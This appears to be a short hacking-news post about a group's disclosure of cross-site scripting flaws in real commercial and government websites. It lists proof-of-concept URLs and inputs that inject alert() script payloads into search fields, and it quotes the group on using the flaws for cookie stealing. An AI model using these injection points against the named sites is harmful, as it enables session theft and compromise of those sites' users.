TeamHav0k yet again discovered XSS vulnerability in high profile sites, this time in the sites of DcShoes, SpikeTV, Adidas shoes, two UK government sites and a brazilian government site.
"...the "aaib.gov.uk" can be utilized for cookie stealing, claiming slaves for your XSS Tunnel or XSSF among other nasty things that can be done if you have the knowledge to properly utilize XSS that is." Hacker said in pastebin release.Poc:
http://www.brighton-hove.gov.uk/index.cfm?fuseaction="><img src=1 onerror=alert("1");>
http://www.aaib.gov.uk/publications/index.cfm
input into "Keywords": "><img src=1 onerror=alert("1");>
http://to.gov.br/busca/"><img src=1 onerror=alert("1");>
http://www.spike.com/search/?term="><script>alert(String.fromCharCode(34, 69, 114, 114, 111, 114, 34))</script>
http://www.shopadidas.com/product/mens-training-revolution-iii-pants/U5020?cid=P57126&search=HIII"><script>alert(String.fromCharCode(34, 69, 114, 114, 111, 114, 34))</script>
http://www.dcshoes.com/us/en/content/search?SearchText=HIII"><script>alert(String.fromCharCode(34, 69, 114, 114, 111, 114, 34))</script>
They have also previously found XSS vulnerabilities in DoD.mil, army.mil, ftc.gov and many many more.